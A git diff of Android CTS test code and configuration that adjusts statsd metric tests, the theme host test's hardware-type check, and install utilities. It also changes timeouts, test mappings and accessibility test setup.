-                            .setField(BleScanStateChanged.IS_FILTERED_FIELD_NUMBER)
-                    )
-                    .addChild(FieldMatcher.newBuilder()
-                            .setField(BleScanStateChanged.IS_FIRST_MATCH_FIELD_NUMBER)
-                    )
-                    .addChild(FieldMatcher.newBuilder()
-                            .setField(BleScanStateChanged.IS_OPPORTUNISTIC_FIELD_NUMBER)
-                    )
-            )
-            .build();
-
-        StatsdConfigProto.StatsdConfig.Builder builder = createConfigBuilder()
-                .addCountMetric(StatsdConfigProto.CountMetric.newBuilder()
-                    .setId(MetricsUtils.COUNT_METRIC_ID)
-                    .setBucket(StatsdConfigProto.TimeUnit.CTS)
-                    .setWhat(whatMatcherId)
-                    .addSliceByState(stateId)
-                    .addStateLink(stateLink)
-                )
-                .addAtomMatcher(whatMatcher)
-                .addState(state);
-        uploadConfig(builder);
-
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testBleScanInterrupted");
-
-        StatsLogReport metricReport = getStatsLogReport();
-        LogUtil.CLog.d("Got the following stats log report: \n" + metricReport.toString());
-        assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.COUNT_METRIC_ID);
-        assertThat(metricReport.hasCountMetrics()).isTrue();
-
-        StatsLogReport.CountMetricDataWrapper dataWrapper = metricReport.getCountMetrics();
-        assertThat(dataWrapper.getDataCount()).isEqualTo(2);
-
-        CountMetricData data = dataWrapper.getData(0);
-        assertThat(data.getSliceByStateCount()).isEqualTo(1);
-        assertThat(data.getSliceByState(0).getAtomId())
-                .isEqualTo(Atom.BLE_SCAN_STATE_CHANGED_FIELD_NUMBER);
-        assertThat(data.getSliceByState(0).getValue())
-                .isEqualTo(BleScanStateChanged.State.OFF.ordinal());
-        long totalCount = data.getBucketInfoList().stream()
-                .mapToLong(CountBucketInfo::getCount)
-                .sum();
-        assertThat(totalCount).isEqualTo(3);
-
-        data = dataWrapper.getData(1);
-        assertThat(data.getSliceByStateCount()).isEqualTo(1);
-        assertThat(data.getSliceByState(0).getAtomId())
-                .isEqualTo(Atom.BLE_SCAN_STATE_CHANGED_FIELD_NUMBER);
-        assertThat(data.getSliceByState(0).getValue())
-                .isEqualTo(BleScanStateChanged.State.ON.ordinal());
-        totalCount = data.getBucketInfoList().stream()
-                .mapToLong(CountBucketInfo::getCount)
-                .sum();
-        assertThat(totalCount).isEqualTo(2);
-    }
-
     public void testSlicedStateCountMetricNoReset() throws Exception {
         int whatMatcherId = 3;
         int stateId = 4;
diff --git a/hostsidetests/statsd/src/android/cts/statsd/metric/DurationMetricsTests.java b/hostsidetests/statsd/src/android/cts/statsd/metric/DurationMetricsTests.java
index 1a553b2..65cef95 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/metric/DurationMetricsTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/metric/DurationMetricsTests.java
@@ -500,12 +500,10 @@
         builder.addPredicate(predicateA);
 
         FieldMatcher.Builder dimensionsBuilder = FieldMatcher.newBuilder()
-                .setField(AppBreadcrumbReported.STATE_FIELD_NUMBER);
-        dimensionsBuilder.addChild(FieldMatcher.newBuilder()
-                .setField(AppBreadcrumbReported.LABEL_FIELD_NUMBER)
-                .setPosition(Position.FIRST)
+                .setField(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER);
+        dimensionsBuilder
                 .addChild(FieldMatcher.newBuilder().setField(
-                        AppBreadcrumbReported.LABEL_FIELD_NUMBER)));
+                        AppBreadcrumbReported.LABEL_FIELD_NUMBER));
         Predicate predicateB =
             Predicate.newBuilder()
                 .setId(MetricsUtils.StringToId("Predicate_B"))
@@ -527,12 +525,9 @@
                 .setBucket(StatsdConfigProto.TimeUnit.CTS)
                 .setDimensionsInWhat(
                     FieldMatcher.newBuilder()
-                        .setField(Atom.BATTERY_SAVER_MODE_STATE_CHANGED_FIELD_NUMBER)
-                        .addChild(FieldMatcher.newBuilder()
-                                      .setField(AppBreadcrumbReported.STATE_FIELD_NUMBER)
-                                      .setPosition(Position.FIRST)
-                                      .addChild(FieldMatcher.newBuilder().setField(
-                                          AppBreadcrumbReported.LABEL_FIELD_NUMBER)))));
+                            .setField(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
+                            .addChild(FieldMatcher.newBuilder().setField(
+                                    AppBreadcrumbReported.LABEL_FIELD_NUMBER))));
 
         // Upload config.
         uploadConfig(builder);
@@ -554,10 +549,21 @@
         assertThat(metricReport.hasDurationMetrics()).isTrue();
         StatsLogReport.DurationMetricDataWrapper durationData
                 = metricReport.getDurationMetrics();
-        assertThat(durationData.getDataCount()).isEqualTo(1);
-        assertThat(durationData.getData(0).getBucketInfoCount()).isGreaterThan(1);
+        assertThat(durationData.getDataCount()).isEqualTo(2);
+        assertThat(durationData.getData(0).getBucketInfoCount()).isGreaterThan(3);
+        assertThat(durationData.getData(1).getBucketInfoCount()).isGreaterThan(3);
+        long totalDuration = 0;
         for (DurationBucketInfo bucketInfo : durationData.getData(0).getBucketInfoList()) {
-            assertThat(bucketInfo.getDurationNanos()).isIn(Range.openClosed(0L, (long)1e9));
+            assertThat(bucketInfo.getDurationNanos()).isIn(Range.openClosed(0L, (long) 1e9));
+            totalDuration += bucketInfo.getDurationNanos();
         }
+        // Duration for both labels is expected to be 4s.
+        assertThat(totalDuration).isIn(Range.open((long) 3e9, (long) 8e9));
+        totalDuration = 0;
+        for (DurationBucketInfo bucketInfo : durationData.getData(1).getBucketInfoList()) {
+            assertThat(bucketInfo.getDurationNanos()).isIn(Range.openClosed(0L, (long) 1e9));
+            totalDuration += bucketInfo.getDurationNanos();
+        }
+        assertThat(totalDuration).isIn(Range.open((long) 3e9, (long) 8e9));
     }
 }
diff --git a/hostsidetests/statsd/src/android/cts/statsd/uidmap/UidMapTests.java b/hostsidetests/statsd/src/android/cts/statsd/uidmap/UidMapTests.java
index db5cba5..4ceefa7 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/uidmap/UidMapTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/uidmap/UidMapTests.java
@@ -96,7 +96,7 @@
         // Now enable re-installation.
         getDevice().installPackage(buildHelper.getTestFile(DEVICE_SIDE_TEST_APK), true, true);
 
-        Thread.sleep(WAIT_TIME_SHORT);
+        Thread.sleep(WAIT_TIME_LONG);
 
         ConfigMetricsReportList reports = getReportList();
         assertThat(reports.getReportsCount()).isGreaterThan(0);
@@ -119,7 +119,7 @@
         int uid = getUid();
         getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
 
-        Thread.sleep(WAIT_TIME_SHORT);
+        Thread.sleep(WAIT_TIME_LONG);
 
         ConfigMetricsReportList reports = getReportList();
         assertThat(reports.getReportsCount()).isGreaterThan(0);
diff --git a/hostsidetests/theme/Android.mk b/hostsidetests/theme/Android.mk
index ae32557..037c2e3 100644
--- a/hostsidetests/theme/Android.mk
+++ b/hostsidetests/theme/Android.mk
@@ -39,7 +39,7 @@
 LOCAL_SDK_VERSION := current
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/theme/src/android/theme/cts/ThemeHostTest.java b/hostsidetests/theme/src/android/theme/cts/ThemeHostTest.java
index 2fcbb5b..e56c486 100644
--- a/hostsidetests/theme/src/android/theme/cts/ThemeHostTest.java
+++ b/hostsidetests/theme/src/android/theme/cts/ThemeHostTest.java
@@ -64,7 +64,6 @@
 
     private static final String CLEAR_GENERATED_CMD = "rm -rf %s/*.png";
     private static final String STOP_CMD = String.format("am force-stop %s", APP_PACKAGE_NAME);
-    private static final String HARDWARE_TYPE_CMD = "dumpsys | grep android.hardware.type";
     private static final String DENSITY_PROP_DEVICE = "ro.sf.lcd_density";
     private static final String DENSITY_PROP_EMULATOR = "qemu.sf.lcd_density";
 
@@ -125,7 +124,7 @@
                 fail("Failed to unzip assets: " + zipFile);
             }
         } else {
-            if (checkHardwareTypeSkipTest(mDevice.executeShellCommand(HARDWARE_TYPE_CMD).trim())) {
+            if (checkHardwareTypeSkipTest()) {
                 Log.logAndDisplay(LogLevel.WARN, LOG_TAG,
                         "Could not obtain resources for skipped themes test: " + zipFile);
             } else {
@@ -149,11 +148,10 @@
     }
 
     public void testThemes() throws Exception {
-        if (checkHardwareTypeSkipTest(mDevice.executeShellCommand(HARDWARE_TYPE_CMD).trim())) {
+        if (checkHardwareTypeSkipTest()) {
             Log.logAndDisplay(LogLevel.INFO, LOG_TAG, "Skipped themes test for watch / TV / automotive");
             return;
         }
-
         if (mReferences.isEmpty()) {
             Log.logAndDisplay(LogLevel.INFO, LOG_TAG,
                     "Skipped themes test due to missing reference images");
@@ -303,10 +301,17 @@
         return Integer.parseInt(device.getProperty(densityProp));
     }
 
-    private static boolean checkHardwareTypeSkipTest(String hardwareTypeString) {
-        return hardwareTypeString.contains("android.hardware.type.watch")
-                || hardwareTypeString.contains("android.hardware.type.television")
-                || hardwareTypeString.contains("android.hardware.type.automotive");
+    private boolean checkHardwareTypeSkipTest() {
+        try {
+         if( mDevice.hasFeature("feature:android.hardware.type.watch")
+                 || mDevice.hasFeature("feature:android.hardware.type.television")
+                 || mDevice.hasFeature("feature:android.hardware.type.automotive")) {
+             return true;
+         }
+        } catch (DeviceNotAvailableException ex) {
+             return false;
+        }
+        return false;
     }
 
     private static boolean isEmulator(ITestDevice device) {
diff --git a/hostsidetests/userspacereboot/TEST_MAPPING b/hostsidetests/userspacereboot/TEST_MAPPING
index 40da059..cf97bfae 100644
--- a/hostsidetests/userspacereboot/TEST_MAPPING
+++ b/hostsidetests/userspacereboot/TEST_MAPPING
@@ -1,8 +1,7 @@
 {
-  "postsubmit" : [
+  "presubmit" : [
     {
-      "name": "CtsUserspaceRebootHostSideTestCases",
-      "keywords": ["primary-device"]
+      "name": "CtsUserspaceRebootHostSideTestCases"
     }
   ]
 }
diff --git a/libs/install/src/android/cts/install/lib/host/InstallUtilsHost.java b/libs/install/src/android/cts/install/lib/host/InstallUtilsHost.java
new file mode 100644
index 0000000..f6de85b
--- /dev/null
+++ b/libs/install/src/android/cts/install/lib/host/InstallUtilsHost.java
@@ -0,0 +1,232 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.install.lib.host;
+
+import static com.android.cts.shim.lib.ShimPackage.SHIM_APEX_PACKAGE_NAME;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import com.android.ddmlib.Log;
+import com.android.tradefed.build.BuildInfoKey;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.tradefed.util.CommandResult;
+import com.android.tradefed.util.CommandStatus;
+import com.android.tradefed.util.FileUtil;
+import com.android.tradefed.util.IRunUtil;
+import com.android.tradefed.util.RunUtil;
+import com.android.tradefed.util.SystemUtil;
+
+import com.google.common.base.Stopwatch;
+
+import java.io.File;
+import java.io.IOException;
+import java.time.Duration;
+import java.util.Optional;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+/**
+ * Utilities to facilitate installation in tests on host side.
+ */
+public class InstallUtilsHost {
+    private static final String TAG = InstallUtilsHost.class.getSimpleName();
+    private static final String APEX_INFO_EXTRACT_REGEX =
+            ".*package:\\sname='(\\S+)\\'\\sversionCode='(\\d+)'\\s.*";
+
+    private final IRunUtil mRunUtil = new RunUtil();
+    private final BaseHostJUnit4Test mTest;
+
+    public InstallUtilsHost(BaseHostJUnit4Test test) {
+        mTest = test;
+    }
+
+    /**
+     * Return {@code true} if and only if device supports updating apex.
+     */
+    public boolean isApexUpdateSupported() throws Exception {
+        return mTest.getDevice().getBooleanProperty("ro.apex.updatable", false);
+    }
+
+    /**
+     * Return {@code true} if and only if device supports file system checkpoint.
+     */
+    public boolean isCheckpointSupported() throws Exception {
+        CommandResult result = mTest.getDevice().executeShellV2Command("sm supports-checkpoint");
+        assertWithMessage("Failed to check if file system checkpoint is supported : %s",
+                result.getStderr()).that(result.getStatus()).isEqualTo(CommandStatus.SUCCESS);
+        return "true".equals(result.getStdout().trim());
+    }
+
+    /**
+     * Uninstalls a shim apex only if it's latest version is installed on /data partition (i.e.
+     * it has a version higher than {@code 1}).
+     *
+     * <p>This is purely to optimize tests run time. Since uninstalling an apex requires a reboot,
+     * and only a small subset of tests successfully install an apex, this code avoids ~10
+     * unnecessary reboots.
+     */
+    public void uninstallShimApexIfNecessary() throws Exception {
+        if (!isApexUpdateSupported()) {
+            // Device doesn't support updating apex. Nothing to uninstall.
+            return;
+        }
+        final ITestDevice.ApexInfo shimApex = getShimApex().orElseThrow(
+                () -> new AssertionError("Can't find " + SHIM_APEX_PACKAGE_NAME));
+        if (shimApex.sourceDir.startsWith("/system")) {
+            // System version is active, nothing to uninstall.
+            return;
+        }
+        // Non system version is active, need to uninstall it and reboot the device.
+        Log.i(TAG, "Uninstalling shim apex");
+        final String errorMessage = mTest.getDevice().uninstallPackage(SHIM_APEX_PACKAGE_NAME);
+        if (errorMessage != null) {
+            Log.e(TAG, "Failed to uninstall " + SHIM_APEX_PACKAGE_NAME + " : " + errorMessage);
+        } else {
+            mTest.getDevice().reboot();
+            final ITestDevice.ApexInfo shim = getShimApex().orElseThrow(
+                    () -> new AssertionError("Can't find " + SHIM_APEX_PACKAGE_NAME));
+            assertThat(shim.versionCode).isEqualTo(1L);
+            assertThat(shim.sourceDir).startsWith("/system");
+        }
+    }
+
+    /**
+     * Returns the active shim apex as optional.
+     */
+    public Optional<ITestDevice.ApexInfo> getShimApex() throws DeviceNotAvailableException {
+        return mTest.getDevice().getActiveApexes().stream().filter(
+                apex -> apex.name.equals(SHIM_APEX_PACKAGE_NAME)).findAny();
+    }
+
+    /**
+     * Retrieve package name and version code from test apex file.
+     *
+     * @param apex input apex file to retrieve the info from
+     */
+    public ITestDevice.ApexInfo getApexInfo(File apex) {
+        String aaptOutput = runCmd(String.format("aapt dump badging %s", apex.getAbsolutePath()));
+        String[] lines = aaptOutput.split("\n");
+        Pattern p = Pattern.compile(APEX_INFO_EXTRACT_REGEX);
+        for (String l : lines) {
+            Matcher m = p.matcher(l);
+            if (m.matches()) {
+                return new ITestDevice.ApexInfo(m.group(1), Long.parseLong(m.group(2)));
+            }
+        }
+        return null;
+    }
+
+    /**
+     * Installs packages using staged install flow and waits for pre-reboot verification to complete
+     */
+    public String installStagedPackage(File pkg) throws Exception {
+        return mTest.getDevice().installPackage(pkg, false, "--staged");
+    }
+
+    /**
+     * Install multiple package at the same time
+     */
+    public void installApexes(String... filenames) throws Exception {
+        String[] args = new String[filenames.length + 1];
+        args[0] = "install-multi-package";
+        for (int i = 0; i < filenames.length; i++) {
+            args[i + 1] = getTestFile(filenames[i]).getAbsolutePath();
+        }
+        String stdout = mTest.getDevice().executeAdbCommand(args);
+        assertThat(stdout).isNotNull();
+    }
+
+    /**
+     * Waits for given {@code timeout} for {@code filePath} to be deleted.
+     */
+    public void waitForFileDeleted(String filePath, Duration timeout) throws Exception {
+        Stopwatch stopwatch = Stopwatch.createStarted();
+        while (true) {
+            if (!mTest.getDevice().doesFileExist(filePath)) {
+                return;
+            }
+            if (stopwatch.elapsed().compareTo(timeout) > 0) {
+                break;
+            }
+            Thread.sleep(500);
+        }
+        throw new AssertionError("Timed out waiting for " + filePath + " to be deleted");
+    }
+
+    /**
+     * Get the test file.
+     *
+     * @param testFileName name of the file
+     */
+    public File getTestFile(String testFileName) throws IOException {
+        File testFile = null;
+
+        String testcasesPath = System.getenv(
+                SystemUtil.EnvVariable.ANDROID_HOST_OUT_TESTCASES.toString());
+        if (testcasesPath != null) {
+            testFile = searchTestFile(new File(testcasesPath), testFileName);
+        }
+        if (testFile != null) {
+            return testFile;
+        }
+
+        File hostLinkedDir = mTest.getBuild().getFile(
+                BuildInfoKey.BuildInfoFileKey.HOST_LINKED_DIR);
+        if (hostLinkedDir != null) {
+            testFile = searchTestFile(hostLinkedDir, testFileName);
+        }
+        if (testFile != null) {
+            return testFile;
+        }
+
+        // Find the file in the buildinfo.
+        File buildInfoFile = mTest.getBuild().getFile(testFileName);
+        if (buildInfoFile != null) {
+            return buildInfoFile;
+        }
+
+        throw new IOException("Cannot find " + testFileName);
+    }
+
+    /**
+     * Searches the file with the given name under the given directory, returns null if not found.
+     */
+    private File searchTestFile(File baseSearchFile, String testFileName) {
+        if (baseSearchFile != null && baseSearchFile.isDirectory()) {
+            File testFile = FileUtil.findFile(baseSearchFile, testFileName);
+            if (testFile != null && testFile.isFile()) {
+                return testFile;
+            }
+        }
+        return null;
+    }
+
+    private String runCmd(String cmd) {
+        Log.d("About to run command: %s", cmd);
+        CommandResult result = mRunUtil.runTimedCmd(1000 * 60 * 5, cmd.split("\\s+"));
+        assertThat(result).isNotNull();
+        assertWithMessage(String.format("Command %s failed", cmd)).that(result.getStatus())
+                .isEqualTo(CommandStatus.SUCCESS);
+        Log.d("output:\n%s", result.getStdout());
+        return result.getStdout();
+    }
+
+
+}
diff --git a/libs/install/src/com/android/cts/install/lib/host/InstallUtilsHost.java b/libs/install/src/com/android/cts/install/lib/host/InstallUtilsHost.java
deleted file mode 100644
index a939f40..0000000
--- a/libs/install/src/com/android/cts/install/lib/host/InstallUtilsHost.java
+++ /dev/null
@@ -1,102 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.install.lib.host;
-
-import static com.android.cts.shim.lib.ShimPackage.SHIM_APEX_PACKAGE_NAME;
-
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import com.android.ddmlib.Log;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
-import com.android.tradefed.util.CommandResult;
-import com.android.tradefed.util.CommandStatus;
-
-import java.util.Optional;
-
-/**
- * Utilities to facilitate installation in tests on host side.
- */
-public class InstallUtilsHost {
-    private static final String TAG = InstallUtilsHost.class.getSimpleName();
-
-    private final BaseHostJUnit4Test mTest;
-
-    public InstallUtilsHost(BaseHostJUnit4Test test) {
-        mTest = test;
-    }
-
-    /**
-     * Return {@code true} if and only if device supports updating apex.
-     */
-    public boolean isApexUpdateSupported() throws Exception {
-        return mTest.getDevice().getBooleanProperty("ro.apex.updatable", false);
-    }
-
-    /**
-     * Return {@code true} if and only if device supports file system checkpoint.
-     */
-    public boolean isCheckpointSupported() throws Exception {
-        CommandResult result = mTest.getDevice().executeShellV2Command("sm supports-checkpoint");
-        assertWithMessage("Failed to check if file system checkpoint is supported : %s",
-                result.getStderr()).that(result.getStatus()).isEqualTo(CommandStatus.SUCCESS);
-        return "true".equals(result.getStdout().trim());
-    }
-
-    /**
-     * Uninstalls a shim apex only if it's latest version is installed on /data partition (i.e.
-     * it has a version higher than {@code 1}).
-     *
-     * <p>This is purely to optimize tests run time. Since uninstalling an apex requires a reboot,
-     * and only a small subset of tests successfully install an apex, this code avoids ~10
-     * unnecessary reboots.
-     */
-    public void uninstallShimApexIfNecessary() throws Exception {
-        if (!isApexUpdateSupported()) {
-            // Device doesn't support updating apex. Nothing to uninstall.
-            return;
-        }
-        final ITestDevice.ApexInfo shimApex = getShimApex().orElseThrow(
-                () -> new AssertionError("Can't find " + SHIM_APEX_PACKAGE_NAME));
-        if (shimApex.sourceDir.startsWith("/system")) {
-            // System version is active, nothing to uninstall.
-            return;
-        }
-        // Non system version is active, need to uninstall it and reboot the device.
-        Log.i(TAG, "Uninstalling shim apex");
-        final String errorMessage = mTest.getDevice().uninstallPackage(SHIM_APEX_PACKAGE_NAME);
-        if (errorMessage != null) {
-            Log.e(TAG, "Failed to uninstall " + SHIM_APEX_PACKAGE_NAME + " : " + errorMessage);
-        } else {
-            mTest.getDevice().reboot();
-            final ITestDevice.ApexInfo shim = getShimApex().orElseThrow(
-                    () -> new AssertionError("Can't find " + SHIM_APEX_PACKAGE_NAME));
-            assertThat(shim.versionCode).isEqualTo(1L);
-            assertThat(shim.sourceDir).startsWith("/system");
-        }
-    }
-
-    /**
-     * Returns the active shim apex as optional.
-     */
-    public Optional<ITestDevice.ApexInfo> getShimApex() throws DeviceNotAvailableException {
-        return mTest.getDevice().getActiveApexes().stream().filter(
-                apex -> apex.name.equals(SHIM_APEX_PACKAGE_NAME)).findAny();
-    }
-}
diff --git a/libs/rollback/src/com/android/cts/rollback/lib/RollbackInfoSubject.java b/libs/rollback/src/com/android/cts/rollback/lib/RollbackInfoSubject.java
index 9f912e0..1903cc4 100644
--- a/libs/rollback/src/com/android/cts/rollback/lib/RollbackInfoSubject.java
+++ b/libs/rollback/src/com/android/cts/rollback/lib/RollbackInfoSubject.java
@@ -32,7 +32,7 @@
 /**
  * Subject for asserting things about RollbackInfo instances.
  */
-public final class RollbackInfoSubject extends Subject<RollbackInfoSubject, RollbackInfo> {
+public final class RollbackInfoSubject extends Subject {
     private final RollbackInfo mActual;
 
     /**
diff --git a/tests/BlobStore/AndroidTest.xml b/tests/BlobStore/AndroidTest.xml
index 45c066b..d5c3548 100644
--- a/tests/BlobStore/AndroidTest.xml
+++ b/tests/BlobStore/AndroidTest.xml
@@ -32,6 +32,12 @@
         <option name="teardown-command" value="cmd blob_store idle-maintenance" />
     </target_preparer>
 
+    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+      <!-- Disable hidden API checking, see b/166236554 -->
+        <option name="run-command" value="settings put global hidden_api_policy 1" />
+        <option name="teardown-command" value="settings delete global hidden_api_policy" />
+    </target_preparer>
+
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="com.android.cts.blob" />
     </test>
diff --git a/tests/BlobStore/src/com/android/cts/blob/BlobStoreManagerTest.java b/tests/BlobStore/src/com/android/cts/blob/BlobStoreManagerTest.java
index c7b47ad..9f21efe 100644
--- a/tests/BlobStore/src/com/android/cts/blob/BlobStoreManagerTest.java
+++ b/tests/BlobStore/src/com/android/cts/blob/BlobStoreManagerTest.java
@@ -83,7 +83,7 @@
 @RunWith(BlobStoreTestRunner.class)
 public class BlobStoreManagerTest {
 
-    private static final long TIMEOUT_COMMIT_CALLBACK_SEC = 5;
+    private static final long TIMEOUT_COMMIT_CALLBACK_SEC = 10;
 
     private static final long TIMEOUT_BIND_SERVICE_SEC = 2;
 
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/JobThrottlingTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/JobThrottlingTest.java
index c449af8..548128c 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/JobThrottlingTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/JobThrottlingTest.java
@@ -514,6 +514,7 @@
             toggleDeviceIdleState(false);
         }
         mTestAppInterface.cleanup();
+        BatteryUtils.runDumpsysBatterySaverOff();
         BatteryUtils.runDumpsysBatteryReset();
         BatteryUtils.enableBatterySaver(false);
         removeTestAppFromTempWhitelist();
diff --git a/tests/accessibilityservice/AndroidManifest.xml b/tests/accessibilityservice/AndroidManifest.xml
index ff2fed4..cdc8a64 100644
--- a/tests/accessibilityservice/AndroidManifest.xml
+++ b/tests/accessibilityservice/AndroidManifest.xml
@@ -65,6 +65,7 @@
         <activity
             android:label="Full screen activity for gesture dispatch testing"
             android:name=".AccessibilityGestureDispatchTest$GestureDispatchActivity"
+            android:theme="@style/Theme_NoSwipeDismiss"
             android:screenOrientation="locked" />
 
         <activity
diff --git a/tests/accessibilityservice/AndroidTest.xml b/tests/accessibilityservice/AndroidTest.xml
index 19d406c..d79d927 100644
--- a/tests/accessibilityservice/AndroidTest.xml
+++ b/tests/accessibilityservice/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="framework" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
         <option name="run-command" value="cmd accessibility set-bind-instant-service-allowed true" />
         <option name="teardown-command" value="cmd accessibility set-bind-instant-service-allowed false" />
diff --git a/tests/accessibilityservice/res/values/styles.xml b/tests/accessibilityservice/res/values/styles.xml
new file mode 100644
index 0000000..77c0405
--- /dev/null
+++ b/tests/accessibilityservice/res/values/styles.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+<resources>
+    <style name="Theme_NoSwipeDismiss">
+        <item name="android:windowSwipeToDismiss">false</item>
+    </style>
+</resources>
\ No newline at end of file
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java
index 648c963..4166213 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java
@@ -863,9 +863,11 @@
         final int buttonY = button.getHeight() / 2;
         final int hoverY = buttonLocation[1] + buttonY;
         final Button buttonWithTooltip = mActivity.findViewById(R.id.buttonWithTooltip);
+        final int[] buttonWithTooltipLocation = new int[2];
+        buttonWithTooltip.getLocationOnScreen(buttonWithTooltipLocation);
         final int touchableSize = 48;
-        final int hoverRight = buttonWithTooltip.getLeft() + touchableSize / 2;
-        final int hoverLeft = button.getRight() + touchableSize / 2;
+        final int hoverRight = buttonWithTooltipLocation[0] + touchableSize / 2;
+        final int hoverLeft = buttonLocation[0] + button.getWidth() + touchableSize / 2;
         final int hoverMiddle = (hoverLeft + hoverRight) / 2;
         final View.OnHoverListener listener = CtsMouseUtil.installHoverListener(button, false);
         enableTouchExploration(sInstrumentation, true);
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDetectorTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDetectorTest.java
old mode 100644
new mode 100755
index b9e7c74..69474b9
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDetectorTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDetectorTest.java
@@ -412,6 +412,8 @@
     @Test
     @AppModeFull
     public void testVerifyGestureTouchEventOnVirtualDisplay() throws Exception {
+        assumeTrue(sInstrumentation.getContext().getPackageManager()
+                .hasSystemFeature(PackageManager.FEATURE_ACTIVITIES_ON_SECONDARY_DISPLAYS));
         if (!mHasTouchScreen || !mScreenBigEnough) {
             return;
         }
@@ -482,6 +484,8 @@
     @Test
     @AppModeFull
     public void testDispatchGesture_privateDisplay_gestureCancelled() throws Exception{
+        assumeTrue(sInstrumentation.getContext().getPackageManager()
+            .hasSystemFeature(PackageManager.FEATURE_ACTIVITIES_ON_SECONDARY_DISPLAYS));
         if (!mHasTouchScreen || !mScreenBigEnough) {
             return;
         }
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDispatchTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDispatchTest.java
index 10c7542..66978f5 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDispatchTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDispatchTest.java
@@ -116,8 +116,8 @@
     StubGestureAccessibilityService mService;
     MyTouchListener mMyTouchListener = new MyTouchListener();
     TextView mFullScreenTextView;
-    int[] mViewLocation = new int[2];
-    PointF mStartPoint = new PointF();
+    int[] mViewLocation = new int[2];  // The location of TextView on the screen.
+    PointF mStartPoint = new PointF(); // The relative location from mViewLocation.
     boolean mGotUpEvent;
     // Without a touch screen, there's no point in testing this feature
     boolean mHasTouchScreen;
@@ -147,7 +147,7 @@
             final int midY = mFullScreenTextView.getHeight() / 2;
             mFullScreenTextView.getLocationOnScreen(mViewLocation);
             mFullScreenTextView.setOnTouchListener(mMyTouchListener);
-            mStartPoint.set(mViewLocation[0] + midX, mViewLocation[1] + midY);
+            mStartPoint.set(midX, midY);
         });
 
         mService = mServiceRule.enableService();
